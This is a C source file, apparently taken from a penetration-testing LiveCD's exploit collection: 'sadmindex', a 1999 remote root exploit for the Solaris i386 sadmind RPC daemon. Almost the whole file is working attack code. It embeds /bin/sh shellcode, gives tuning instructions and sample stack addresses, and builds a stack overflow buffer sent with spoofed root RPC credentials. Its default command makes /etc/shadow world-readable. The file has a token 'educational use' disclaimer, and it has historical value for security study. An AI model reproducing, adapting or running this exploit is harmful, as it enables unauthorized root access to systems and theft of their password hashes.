home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / sadmindex-x86.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  532 lines

  1. /**
  2. ***  sadmindex - i386 Solaris remote root exploit for /usr/sbin/sadmind
  3. ***
  4. ***  Tested and confirmed under Solaris 2.6 and 7.0 (i386)
  5. ***
  6. ***  Usage:  % sadmindex -h hostname -c command -s sp -j junk [-o offset] \
  7. ***                      [-a alignment] [-p]
  8. ***
  9. ***  where hostname is the hostname of the machine running the vulnerable
  10. ***  system administration daemon, command is the command to run as root
  11. ***  on the vulnerable machine, sp is the %esp stack pointer value, junk
  12. ***  is the number of bytes needed to fill the target stack frame (which
  13. ***  should be a multiple of 4), offset is the number of bytes to add to
  14. ***  sp to calculate the desired return address, and alignment is the
  15. ***  number of bytes needed to correctly align the contents of the exploit
  16. ***  buffer.
  17. ***
  18. ***  If run with a -p option, the exploit will only "ping" sadmind on the
  19. ***  remote machine to start it running.  The daemon will be otherwise
  20. ***  untouched.  Since pinging the daemon does not require an exploit
  21. ***  buffer to be constructed, you can safely omit the -c, -s, and -j
  22. ***  options if you use -p.
  23. ***
  24. ***  When specifying a command, be sure to pass it to the exploit as a
  25. ***  single argument, namely enclose the command string in quotes if it
  26. ***  contains spaces or other special shell delimiter characters.  The
  27. ***  exploit will pass this string without modification to /bin/sh -c on
  28. ***  the remote machine, so any normally allowed Bourne shell syntax is
  29. ***  also allowed in the command string.  The command string and the
  30. ***  assembly code to run it must fit inside a buffer of 512 bytes, so
  31. ***  the command string has a maximum length of about 390 bytes or so.
  32. ***
  33. ***  I have provided confirmed %esp stack pointer values for Solaris on a
  34. ***  Pentium PC system running Solaris 2.6 5/98 and on a Pentium PC system
  35. ***  running Solaris 7.0 10/98.  On each system, sadmind was started from
  36. ***  an instance of inetd that was started at boot time by init.  There
  37. ***  is a fair possibility that the demonstration values will not work
  38. ***  due to differing sets of environment variables, for example if the
  39. ***  the running inetd on the remote machine was started manually from an
  40. ***  interactive shell.  If you find that the sample value for %esp does
  41. ***  not work, try adjusting the value by -2048 to 2048 from the sample in
  42. ***  increments of 32 for starters.  The junk parameter seems to vary from
  43. ***  version to version, but the sample values should be appropriate for
  44. ***  the listed versions and are not likely to need adjustment.  The offset
  45. ***  parameter and the alignment parameter have default values that will be
  46. ***  used if no overriding values are specified on the command line.  The
  47. ***  default values should be suitable and it will not likely be necessary
  48. ***  to override them.
  49. ***
  50. ***  Demonstration values for i386 Solaris:
  51. ***
  52. ***  (2.6)  sadmindex -h host.example.com -c "touch HEH" -s 0x080418ec -j 512
  53. ***  (7.0)  sadmindex -h host.example.com -c "touch HEH" -s 0x08041798 -j 536
  54. ***
  55. ***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
  56. ***
  57. ***  Cheez Whiz
  58. ***  cheezbeast@hotmail.com
  59. ***
  60. ***  June 24, 1999
  61. **/
  62.  
  63. #include <stdlib.h>
  64. #include <stdio.h>
  65. #include <unistd.h>
  66. #include <string.h>
  67. #include <rpc/rpc.h>
  68.  
  69. #define NETMGT_PROG 100232
  70. #define NETMGT_VERS 10
  71. #define NETMGT_PROC_PING 0
  72. #define NETMGT_PROC_SERVICE 1
  73.  
  74. #define NETMGT_UDP_PING_TIMEOUT 30
  75. #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
  76. #define NETMGT_UDP_SERVICE_TIMEOUT 1
  77. #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
  78.  
  79. #define NETMGT_HEADER_TYPE 6
  80. #define NETMGT_ARG_INT 3
  81. #define NETMGT_ARG_STRING 9
  82. #define NETMGT_ENDOFARGS "netmgt_endofargs"
  83.  
  84. #define ADM_FW_VERSION "ADM_FW_VERSION"
  85. #define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
  86. #define ADM_FENCE "ADM_FENCE"
  87.  
  88. #define BUFLEN 1056        /* 548+8+512-12 */
  89. #define ADDRLEN    8
  90. #define LEN 76
  91.  
  92. /* #define JUNK 512 */        /* 524-12 (Solaris 2.6) */
  93. /* #define JUNK 536 */        /* 548-12 (Solaris 7.0) */
  94. #define OFFSET 572        /* default offset */
  95. #define ALIGNMENT 0        /* default alignment */
  96.  
  97. #define NOP 0x90
  98.  
  99. char shell[] =
  100.   /*   0 */ "\xeb\x45"                         /* jmp springboard [2000]*/
  101.   /* syscall:                                                     [2000]*/
  102.   /*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0   [2000]*/
  103.   /*   9 */ "\xc3"                             /* ret             [2000]*/
  104.   /* start:                                                       [2000]*/
  105.   /*  10 */ "\x5e"                             /* popl %esi       [2000]*/
  106.   /*  11 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  107.   /*  13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
  108.   /*  16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
  109.   /* execve:                                                      [2000]*/
  110.   /*  19 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  111.   /*  21 */ "\x50"                             /* pushl %eax      [2000]*/
  112.   /*  22 */ "\x56"                             /* pushl %esi      [2000]*/
  113.   /*  23 */ "\x8b\x1e"                         /* movl (%esi),%ebx[2000]*/
  114.   /*  25 */ "\xf7\xdb"                         /* negl %ebx       [2000]*/
  115.   /*  27 */ "\x89\xf7"                         /* movl %esi,%edi  [2000]*/
  116.   /*  29 */ "\x83\xc7\x10"                     /* addl $0x10,%edi [2000]*/
  117.   /*  32 */ "\x57"                             /* pushl %edi      [2000]*/
  118.   /*  33 */ "\x89\x3e"                         /* movl %edi,(%esi)[2000]*/
  119.   /*  35 */ "\x83\xc7\x08"                     /* addl $0x8,%edi  [2000]*/
  120.   /*  38 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  121.   /*  41 */ "\x89\x7e\x04"                     /* movl %edi,0x4(%esi)   */
  122.   /*  44 */ "\x83\xc7\x03"                     /* addl $0x3,%edi  [2000]*/
  123.   /*  47 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  124.   /*  50 */ "\x89\x7e\x08"                     /* movl %edi,0x8(%esi)   */
  125.   /*  53 */ "\x01\xdf"                         /* addl %ebx,%edi  [2000]*/
  126.   /*  55 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  127.   /*  58 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  128.   /*  61 */ "\xb0\x3b"                         /* movb $0x3b,%al  [2000]*/
  129.   /*  63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall    [2000]*/
  130.   /*  68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp  [2000]*/
  131.   /* springboard:                                                 [2000]*/
  132.   /*  71 */ "\xe8\xbe\xff\xff\xff"             /* call start      [2000]*/
  133.   /* data:                                                        [2000]*/
  134.   /*  76 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  135.   /*  80 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  136.   /*  84 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  137.   /*  88 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  138.   /*  92 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            [2000]*/
  139.   /* 100 */ "\x2d\x63\xff";                    /* DATA            [2000]*/
  140.  
  141. extern char *optarg;
  142.  
  143. struct nm_send_header
  144.   {
  145.     struct timeval timeval1;
  146.     struct timeval timeval2;
  147.     struct timeval timeval3;
  148.     unsigned int uint1;
  149.     unsigned int uint2;
  150.     unsigned int uint3;
  151.     unsigned int uint4;
  152.     unsigned int uint5;
  153.     struct in_addr inaddr1;
  154.     struct in_addr inaddr2;
  155.     unsigned long ulong1;
  156.     unsigned long ulong2;
  157.     struct in_addr inaddr3;
  158.     unsigned long ulong3;
  159.     unsigned long ulong4;
  160.     unsigned long ulong5;
  161.     struct timeval timeval4;
  162.     unsigned int uint6;
  163.     struct timeval timeval5;
  164.     char *string1;
  165.     char *string2;
  166.     char *string3;
  167.     unsigned int uint7;
  168.   };
  169.  
  170. struct nm_send_arg_int
  171.   {
  172.     char *string1;
  173.     unsigned int uint1;
  174.     unsigned int uint2;
  175.     int int1;
  176.     unsigned int uint3;
  177.     unsigned int uint4;
  178.   };
  179.  
  180. struct nm_send_arg_string
  181.   {
  182.     char *string1;
  183.     unsigned int uint1;
  184.     unsigned int uint2;
  185.     char *string2;
  186.     unsigned int uint3;
  187.     unsigned int uint4;
  188.   };
  189.  
  190. struct nm_send_footer
  191.   {
  192.     char *string1;
  193.   };
  194.  
  195. struct nm_send
  196.   {
  197.     struct nm_send_header header;
  198.     struct nm_send_arg_int version;
  199.     struct nm_send_arg_string string;
  200.     struct nm_send_arg_int fence;
  201.     struct nm_send_footer footer;
  202.   };
  203.  
  204. struct nm_reply
  205.   {
  206.     unsigned int uint1;
  207.     unsigned int uint2;
  208.     char *string1;
  209.   };
  210.  
  211. bool_t
  212. xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
  213. {
  214.   char *addr;
  215.   size_t size = sizeof(struct in_addr);
  216.  
  217.   if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
  218.     return (FALSE);
  219.   if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
  220.     return (FALSE);
  221.   if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
  222.     return (FALSE);
  223.   if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
  224.     return (FALSE);
  225.   if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
  226.     return (FALSE);
  227.   if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
  228.     return (FALSE);
  229.   if (!xdr_u_int(xdrs, &objp->uint1))
  230.     return (FALSE);
  231.   if (!xdr_u_int(xdrs, &objp->uint2))
  232.     return (FALSE);
  233.   if (!xdr_u_int(xdrs, &objp->uint3))
  234.     return (FALSE);
  235.   if (!xdr_u_int(xdrs, &objp->uint4))
  236.     return (FALSE);
  237.   if (!xdr_u_int(xdrs, &objp->uint5))
  238.     return (FALSE);
  239.   addr = (char *) &objp->inaddr1.s_addr;
  240.   if (!xdr_bytes(xdrs, &addr, &size, size))
  241.     return (FALSE);
  242.   addr = (char *) &objp->inaddr2.s_addr;
  243.   if (!xdr_bytes(xdrs, &addr, &size, size))
  244.     return (FALSE);
  245.   if (!xdr_u_long(xdrs, &objp->ulong1))
  246.     return (FALSE);
  247.   if (!xdr_u_long(xdrs, &objp->ulong2))
  248.     return (FALSE);
  249.   addr = (char *) &objp->inaddr3.s_addr;
  250.   if (!xdr_bytes(xdrs, &addr, &size, size))
  251.     return (FALSE);
  252.   if (!xdr_u_long(xdrs, &objp->ulong3))
  253.     return (FALSE);
  254.   if (!xdr_u_long(xdrs, &objp->ulong4))
  255.     return (FALSE);
  256.   if (!xdr_u_long(xdrs, &objp->ulong5))
  257.     return (FALSE);
  258.   if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
  259.     return (FALSE);
  260.   if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
  261.     return (FALSE);
  262.   if (!xdr_u_int(xdrs, &objp->uint6))
  263.     return (FALSE);
  264.   if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
  265.     return (FALSE);
  266.   if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
  267.     return (FALSE);
  268.   if (!xdr_wrapstring(xdrs, &objp->string1))
  269.     return (FALSE);
  270.   if (!xdr_wrapstring(xdrs, &objp->string2))
  271.     return (FALSE);
  272.   if (!xdr_wrapstring(xdrs, &objp->string3))
  273.     return (FALSE);
  274.   if (!xdr_u_int(xdrs, &objp->uint7))
  275.     return (FALSE);
  276.   return (TRUE);
  277. }
  278.  
  279. bool_t
  280. xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
  281. {
  282.   if (!xdr_wrapstring(xdrs, &objp->string1))
  283.     return (FALSE);
  284.   if (!xdr_u_int(xdrs, &objp->uint1))
  285.     return (FALSE);
  286.   if (!xdr_u_int(xdrs, &objp->uint2))
  287.     return (FALSE);
  288.   if (!xdr_int(xdrs, &objp->int1))
  289.     return (FALSE);
  290.   if (!xdr_u_int(xdrs, &objp->uint3))
  291.     return (FALSE);
  292.   if (!xdr_u_int(xdrs, &objp->uint4))
  293.     return (FALSE);
  294.   return (TRUE);
  295. }
  296.  
  297. bool_t
  298. xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
  299. {
  300.   if (!xdr_wrapstring(xdrs, &objp->string1))
  301.     return (FALSE);
  302.   if (!xdr_u_int(xdrs, &objp->uint1))
  303.     return (FALSE);
  304.   if (!xdr_u_int(xdrs, &objp->uint2))
  305.     return (FALSE);
  306.   if (!xdr_wrapstring(xdrs, &objp->string2))
  307.     return (FALSE);
  308.   if (!xdr_u_int(xdrs, &objp->uint3))
  309.     return (FALSE);
  310.   if (!xdr_u_int(xdrs, &objp->uint4))
  311.     return (FALSE);
  312.   return (TRUE);
  313. }
  314.  
  315. bool_t
  316. xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
  317. {
  318.   if (!xdr_wrapstring(xdrs, &objp->string1))
  319.     return (FALSE);
  320.   return (TRUE);
  321. }
  322.  
  323. bool_t
  324. xdr_nm_send(XDR *xdrs, struct nm_send *objp)
  325. {
  326.   if (!xdr_nm_send_header(xdrs, &objp->header))
  327.     return (FALSE);
  328.   if (!xdr_nm_send_arg_int(xdrs, &objp->version))
  329.     return (FALSE);
  330.   if (!xdr_nm_send_arg_string(xdrs, &objp->string))
  331.     return (FALSE);
  332.   if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
  333.     return (FALSE);
  334.   if (!xdr_nm_send_footer(xdrs, &objp->footer))
  335.     return (FALSE);
  336.   return (TRUE);
  337. }
  338.  
  339. bool_t
  340. xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
  341. {
  342.   if (!xdr_u_int(xdrs, &objp->uint1))
  343.     return (FALSE);
  344.   if (!xdr_u_int(xdrs, &objp->uint2))
  345.     return (FALSE);
  346.   if (!xdr_wrapstring(xdrs, &objp->string1))
  347.     return (FALSE);
  348.   return (TRUE);
  349. }
  350.  
  351. int
  352. main(int argc, char *argv[])
  353. {
  354.   CLIENT *cl;
  355.   struct nm_send send;
  356.   struct nm_reply reply;
  357.   struct timeval tm;
  358.   enum clnt_stat stat;
  359.   int c, i, len, slen, clen;
  360.   char *program, *cp, buf[BUFLEN+1];
  361.   char *hostname, *command;
  362.   int junk = 0, offset, alignment, pinging = 0;
  363.   unsigned long int sp = 0, addr;
  364.  
  365.   program = argv[0];
  366.   hostname = "localhost";
  367.   command = "chmod 666 /etc/shadow";
  368.   offset = OFFSET;
  369.   alignment = ALIGNMENT;
  370.   while ((c = getopt(argc, argv, "h:c:s:j:o:a:p")) != EOF)
  371.     {
  372.       switch (c)
  373.         {
  374.         case 'h':
  375.           hostname = optarg;
  376.           break;
  377.         case 'c':
  378.           command = optarg;
  379.           break;
  380.         case 's':
  381.           sp = strtoul(optarg, NULL, 0);
  382.           break;
  383.         case 'j':
  384.           junk = (int) strtol(optarg, NULL, 0);
  385.           break;
  386.         case 'o':
  387.           offset = (int) strtol(optarg, NULL, 0);
  388.           break;
  389.         case 'a':
  390.           alignment = (int) strtol(optarg, NULL, 0);
  391.           break;
  392.         case 'p':
  393.           pinging = 1;
  394.           break;
  395.         default:
  396.           fprintf(stderr, "usage: %s -h hostname -c command -s sp -j junk "
  397.                   "[-o offset] [-a alignment] [-p]\n", program);
  398.           exit(1);
  399.           break;
  400.         }
  401.     }
  402.   memset(buf, NOP, BUFLEN);
  403.   junk &= 0xfffffffc;
  404.   for (i = 0, cp = buf + alignment; i < junk / 4; i++)
  405.     {
  406.       *cp++ = (sp >>  0) & 0xff;
  407.       *cp++ = (sp >>  8) & 0xff;
  408.       *cp++ = (sp >> 16) & 0xff;
  409.       *cp++ = (sp >> 24) & 0xff;
  410.     }
  411.   addr = sp + offset;
  412.   for (i = 0; i < ADDRLEN / 4; i++)
  413.     {
  414.       *cp++ = (addr >>  0) & 0xff;
  415.       *cp++ = (addr >>  8) & 0xff;
  416.       *cp++ = (addr >> 16) & 0xff;
  417.       *cp++ = (addr >> 24) & 0xff;
  418.     }
  419.   slen = strlen(shell);
  420.   clen = strlen(command);
  421.   len = clen;
  422.   len++;
  423.   len = -len;
  424.   shell[LEN+0] = (len >>  0) & 0xff;
  425.   shell[LEN+1] = (len >>  8) & 0xff;
  426.   shell[LEN+2] = (len >> 16) & 0xff;
  427.   shell[LEN+3] = (len >> 24) & 0xff;
  428.   cp = buf + BUFLEN - 1 - clen - slen;
  429.   memcpy(cp, shell, slen);
  430.   cp += slen;
  431.   memcpy(cp, command, clen);
  432.   cp += clen;
  433.   *cp = '\xff';
  434.   buf[BUFLEN] = '\0';
  435.   memset(&send, 0, sizeof(struct nm_send));
  436.   send.header.uint2 = NETMGT_HEADER_TYPE;
  437.   send.header.string1 = "";
  438.   send.header.string2 = "";
  439.   send.header.string3 = "";
  440.   send.header.uint7 =
  441.     strlen(ADM_FW_VERSION) + 1 +
  442.     (4 * sizeof(unsigned int)) + sizeof(int) +
  443.     strlen(ADM_CLIENT_DOMAIN) + 1 +
  444.     (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
  445.     strlen(ADM_FENCE) + 1 +
  446.     (4 * sizeof(unsigned int)) + sizeof(int) +
  447.     strlen(NETMGT_ENDOFARGS) + 1;
  448.   send.version.string1 = ADM_FW_VERSION;
  449.   send.version.uint1 = NETMGT_ARG_INT;
  450.   send.version.uint2 = sizeof(int);
  451.   send.version.int1 = 1;
  452.   send.string.string1 = ADM_CLIENT_DOMAIN;
  453.   send.string.uint1 = NETMGT_ARG_STRING;
  454.   send.string.uint2 = strlen(buf);
  455.   send.string.string2 = buf;
  456.   send.fence.string1 = ADM_FENCE;
  457.   send.fence.uint1 = NETMGT_ARG_INT;
  458.   send.fence.uint2 = sizeof(int);
  459.   send.fence.int1 = 666;
  460.   send.footer.string1 = NETMGT_ENDOFARGS;
  461.   cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
  462.   if (cl == NULL)
  463.     {
  464.       clnt_pcreateerror("clnt_create");
  465.       exit(1);
  466.     }
  467.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  468.   if (!pinging)
  469.     {
  470.       fprintf(stdout,
  471.               "%%esp 0x%08lx offset %d --> return address 0x%08lx [%d+%d]\n",
  472.               sp, offset, addr, alignment, junk);
  473.       tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT;
  474.       tm.tv_usec = 0;
  475.       if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
  476.         {
  477.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  478.           exit(1);
  479.         }
  480.       tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT;
  481.       tm.tv_usec = 0;
  482.       if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
  483.         {
  484.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  485.           exit(1);
  486.         }
  487.       stat = clnt_call(cl, NETMGT_PROC_SERVICE,
  488.                        xdr_nm_send, (caddr_t) &send,
  489.                        xdr_nm_reply, (caddr_t) &reply, tm);
  490.       if (stat != RPC_SUCCESS)
  491.         {
  492.           clnt_perror(cl, "clnt_call");
  493.           fprintf(stdout, "now check if exploit worked; "
  494.                   "RPC failure was expected\n");
  495.           exit(0);
  496.         }
  497.       fprintf(stderr, "exploit failed; "
  498.               "RPC succeeded and returned { %u, %u, \"%s\" }\n",
  499.               reply.uint1, reply.uint2, reply.string1);
  500.       clnt_destroy(cl);
  501.       exit(1);
  502.     }
  503.   else
  504.     {
  505.       tm.tv_sec = NETMGT_UDP_PING_TIMEOUT;
  506.       tm.tv_usec = 0;
  507.       if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm))
  508.         {
  509.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  510.           exit(1);
  511.         }
  512.       tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT;
  513.       tm.tv_usec = 0;
  514.       if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm))
  515.         {
  516.           fprintf(stderr, "exploit failed; unable to set timeout\n");
  517.           exit(1);
  518.         }
  519.       stat = clnt_call(cl, NETMGT_PROC_PING,
  520.                        xdr_void, NULL,
  521.                        xdr_void, NULL, tm);
  522.       if (stat != RPC_SUCCESS)
  523.         {
  524.           clnt_perror(cl, "clnt_call");
  525.           exit(1);
  526.         }
  527.       clnt_destroy(cl);
  528.       exit(0);
  529.     }
  530. }
  531. /*             www.hack.co.za             */
  532.